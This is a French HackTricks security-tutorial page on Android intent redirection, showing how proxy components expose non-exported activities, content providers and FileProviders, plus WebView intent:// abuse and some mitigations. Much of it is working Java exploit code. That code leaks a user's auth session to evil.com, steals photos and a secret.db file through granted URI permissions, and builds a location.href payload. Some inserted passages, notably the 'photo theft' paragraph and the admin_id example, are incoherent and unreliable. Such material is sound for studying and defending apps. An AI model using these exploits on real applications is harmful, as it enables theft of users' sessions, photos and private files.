20 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
-
Découvrez The PEASS Family, notre collection exclusive de NFTs
-
Obtenez le swag officiel PEASS & HackTricks
-
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
-
Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Recherche tirée de https://blog.oversecured.com/Android-Access-to-app-protected-components/
Introduction
Cette vulnérabilité ressemble à Open Redirect en sécurité web. Étant donné que la classe Intent
est Parcelable
, les objets appartenant à cette classe peuvent être passés en tant que données supplémentaires dans un autre objet Intent
.
De nombreux développeurs utilisent cette fonctionnalité et créent des composants proxy (activités, récepteurs de diffusion et services) qui prennent un Intent intégré et le passent à des méthodes dangereuses telles que startActivity(...)
, sendBroadcast(...)
, etc.
C'est dangereux car un attaquant peut forcer l'application à lancer un composant non exporté qui ne peut pas être lancé directement depuis une autre application, ou à accorder à l'attaquant l'accès à ses fournisseurs de contenu. WebView
change parfois également une URL d'une chaîne en un objet Intent
, en utilisant la méthode Intent.parseUri(...)
et le passe à startActivity(...)
.
{% hint style="info" %} En résumé : Si un attaquant peut envoyer un Intent qui est exécuté de manière non sécurisée, il peut potentiellement accéder à des composants non exportés et les exploiter. {% endhint %}
Un cas typique
Examinons un exemple. Fragment du fichier AndroidManifest.xml
.
<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />
Activité ProxyActivity
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
Activité AuthWebViewActivity
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
AuthWebViewActivity
est un exemple de fonctionnalité cachée de l'application qui effectue certaines actions non sécurisées, en l'occurrence en passant la session d'authentification de l'utilisateur à une URL obtenue à partir du paramètre url
.
Les restrictions d'exportation signifient que l'attaquant ne peut pas accéder directement à AuthWebViewActivity
. Un appel direct...
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);
Lance une java.lang.SecurityException
, en raison d'un Refus de Permission
: AuthWebViewActivity
n'est pas exporté à partir de l'uid 1337.
Mais l'attaquant peut forcer la victime à lancer AuthWebViewActivity
elle-même:
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
et aucune violation de sécurité ne se produira, car l'application qui est attaquée a accès à tous ses propres composants. En utilisant ce fragment de code, l'attaquant peut contourner les restrictions intégrées du système Android.
Escalade de l'impact
Afin d'escalader l'impact de cette vulnérabilité, vous devez trouver d'autres vulnérabilités / erreurs de configuration qui pourraient permettre d'augmenter l'impact de la vulnérabilité (car la vulnérabilité en elle-même ne crée aucun risque).
Escalade des attaques via les fournisseurs de contenu
Outre l'accès à des composants arbitraires de l'application d'origine, l'attaquant peut tenter d'accéder à ceux des fournisseurs de contenu de l'application vulnérable qui satisfont les conditions suivantes :
- il doit être non exporté (sinon il pourrait être attaqué directement, sans utiliser la vulnérabilité que nous discutons dans cet article)
- il doit avoir le drapeau
android:grantUriPermissions
défini surtrue
.android:grantUriPermissions="true"
indique que votre code Java peut utiliserFLAG_GRANT_READ_URI_PERMISSION
etFLAG_GRANT_WRITE_URI_PERMISSION
pour n'importe quelleUri
servie par ceContentProvider
.android:grantUriPermissions="false"
indique que seuls lesUri
spécifiées par les éléments enfant<grant-uri-permission>
peuvent être utilisées avecFLAG_GRANT_READ_URI_PERMISSION
etFLAG_GRANT_WRITE_URI_PERMISSION
.
L'attaquant doit se définir comme destinataire d'une intention intégrée et définir les indicateurs suivants :
Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
permet un accès persistant au fournisseur (sans ce drapeau, l'accès n'est valable qu'une seule fois)Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
permet l'accès URI par préfixe - par exemple, au lieu d'obtenir un accès séparé à chaque fois en utilisant un chemin complet tel quecontent://com.victim.provider/image/1
, l'attaquant peut accorder l'accès à tout le contenu du fournisseur en utilisant l'URIcontent://com.victim.provider/
et ensuite utiliserContentResolver
pour adressercontent://com.victim.provider/image/1
,content://com.victim.provider/image/2
, etc.Intent.FLAG_GRANT_READ_URI_PERMISSION
permet des opérations de lecture sur le fournisseur (telles quequery
,openFile
,openAssetFile
)Intent.FLAG_GRANT_WRITE_URI_PERMISSION
permet des opérations d'écriture
Un exemple de fournisseur typique où un attaquant peut y accéder et effectuer des opérations régulières telles que query
, update
, insert
, delete
, openFile
, openAssetFile
.
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
Exemple de vol de photos d'utilisateur dans le fichier AndroidManifest.xml
Lorsqu'une application Android demande l'autorisation d'accéder à la galerie de photos de l'utilisateur, elle doit inclure cette autorisation dans son fichier AndroidManifest.xml
. Si l'application ne spécifie pas correctement les autorisations requises, un attaquant peut exploiter cette vulnérabilité pour accéder aux photos de l'utilisateur sans son consentement.
Pour ce faire, l'attaquant peut utiliser une technique appelée "injection d'intent". Cela implique de créer une application malveillante qui envoie un intent à l'application cible pour accéder à ses autorisations. Si l'application cible ne vérifie pas correctement les autorisations, l'attaquant peut accéder aux photos de l'utilisateur et les voler.
Pour se protéger contre cette vulnérabilité, les développeurs doivent s'assurer que leur application vérifie correctement les autorisations avant d'accéder à des données sensibles telles que les photos de l'utilisateur. Les utilisateurs doivent également être conscients des autorisations demandées par les applications et ne pas accorder d'autorisations excessives à des applications non fiables.
<activity android:name=".LeakActivity" android:exported="true" />
Fichier MainActivity.java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
LeakActivity.java
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
Attaques sur Android File Provider
Cette vulnérabilité permet également à l'attaquant de voler des fichiers d'application situés dans des répertoires prédéterminés par le développeur. Pour une attaque réussie, l'application malveillante doit obtenir des droits d'accès à Android File Provider, puis lire le contenu du fournisseur de fichiers à l'aide d'Android ContentResolver.
Exemple de fournisseur de fichiers (pour plus de détails, voir https://developer.android.com/reference/android/support/v4/content/FileProvider)
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>
Il fournit un accès en lecture/écriture aux fichiers d'une liste spéciale qui peut être trouvée dans les ressources de l'application, dans ce cas à res/xml/provider_paths.xml
Cela peut ressembler à ceci
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
</paths>
Chaque balise spécifie un répertoire racine avec une valeur path
relative à la racine. Par exemple, la valeur external_files
correspondra à new File(Environment.getExternalStorageDirectory(), "images")
.
La valeur root-path
correspond à /
, c'est-à-dire qu'elle permet d'accéder à des fichiers arbitraires.
Supposons que nous avons des données secrètes stockées dans le fichier /data/data/com.victim/databases/secret.db
: le vol de ce fichier peut ressembler à ceci dans MainActivity.java
.
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
LeakActivity.java
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
Accès à des composants arbitraires via WebView
Un objet Intent peut être converti en chaîne avec un appel à Intent.toUri(flags)
et de nouveau d'une chaîne à un Intent en utilisant Intent.parseUri(stringUri, flags)
. Cette fonctionnalité est souvent utilisée dans WebView (le navigateur intégré de l'application) : l'application peut vérifier un schéma intent://
, analyser l'URL en un Intent et lancer l'activité.
Cette vulnérabilité peut être exploitée à la fois via d'autres vulnérabilités (par exemple, la capacité d'ouvrir des liens arbitraires dans l'application dans WebView directement via des activités exportées ou par le biais du mécanisme de lien profond) dans l'application cliente et également à distance, y compris la cross-site scripting côté serveur ou MitM côté client.
Exemple de code vulnérable
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
Le point ici est que la méthode shouldOverrideUrlLoading(...)
de la classe WebViewClient
est appelée chaque fois que WebView essaie de charger un nouveau lien, mais donne à l'application la possibilité d'ajouter un gestionnaire personnalisé.
Pour exploiter cette vulnérabilité, l'attaquant doit créer une redirection WebView vers une URL de schéma d'intention spécialement préparée. Exemple de création d'URL
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
Exemple d'attaque
Supposons que nous ayons une application qui utilise une Intent
pour lancer une activité qui affiche les détails d'un utilisateur. L'activité est lancée en utilisant l'ID de l'utilisateur comme extra dans l'intent. Le code ressemblerait à ceci :
Intent intent = new Intent(this, UserDetailsActivity.class);
intent.putExtra("user_id", user_id);
startActivity(intent);
Un attaquant peut exploiter cette fonctionnalité en injectant une Intent
malveillante qui remplace l'ID de l'utilisateur par un ID différent. Par exemple, l'attaquant peut créer une Intent
qui remplace l'ID de l'utilisateur par l'ID de l'administrateur :
Intent intent = new Intent(this, UserDetailsActivity.class);
intent.putExtra("user_id", admin_id);
startActivity(intent);
Si l'application ne vérifie pas l'identité de l'utilisateur avant d'afficher les détails, l'attaquant peut accéder aux informations sensibles de l'administrateur.
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
Cette version contient plusieurs restrictions par rapport à la version classique de la vulnérabilité :
- Les objets intégrés
Parcelable
etSerializable
ne peuvent pas être convertis en chaîne de caractères (ils seront ignorés) - Les indicateurs d'insécurité
Intent.FLAG_GRANT_READ_URI_PERMISSION
etIntent.FLAG_GRANT_WRITE_URI_PERMISSION
sont ignorés lorsqueIntent.parseUri(...)
est appelé. Le parseur ne les laissera que si le drapeauIntent.URI_ALLOW_UNSAFE
(startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))
est défini, ce qui est très rare.
De nombreux développeurs oublient encore de filtrer complètement les intents reçus via WebView.
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
startActivity(intent);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
L'attaquant peut spécifier un composant non exporté via un sélecteur.
Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
Et contourner la protection de l'application contre les intents explicites. Nous recommandons donc également de filtrer le sélecteur.
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);
Mais même un filtrage complet ne garantit pas une protection complète, car un attaquant peut créer une intention implicite correspondant au intent-filter
d'une activité non exportée. Exemple de déclaration d'activité:
<activity android:name=".AuthWebViewActivity" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
Nous recommandons donc de vérifier si une activité est exportée avant de la lancer.
Autres façons de créer des intents non sécurisés
Certains développeurs d'applications implémentent leurs propres analyseurs d'intent (souvent pour gérer des liens profonds ou des messages push), en utilisant par exemple des objets JSON, des chaînes de caractères ou des tableaux d'octets, qui ne diffèrent pas de la valeur par défaut ou présentent un grand danger, car ils peuvent étendre des objets Serializable
et Parcelable
et permettent également de définir des indicateurs non sécurisés. Le chercheur en sécurité peut également rencontrer des versions plus exotiques de création d'intent, telles que la conversion d'un tableau d'octets en un Parcel
puis la lecture d'un intent à partir de celui-ci.
Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
Parcel parcel = Parcel.obtain();
parcel.unmarshall(handle, 0, handle.length);
startActivity((Intent) parcel.readParcelable(getClassLoader()));
}
Vuln app
{% embed url="https://github.com/oversecured/ovaa" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
-
Découvrez La famille PEASS, notre collection exclusive de NFT
-
Obtenez le swag officiel PEASS & HackTricks
-
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
-
Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.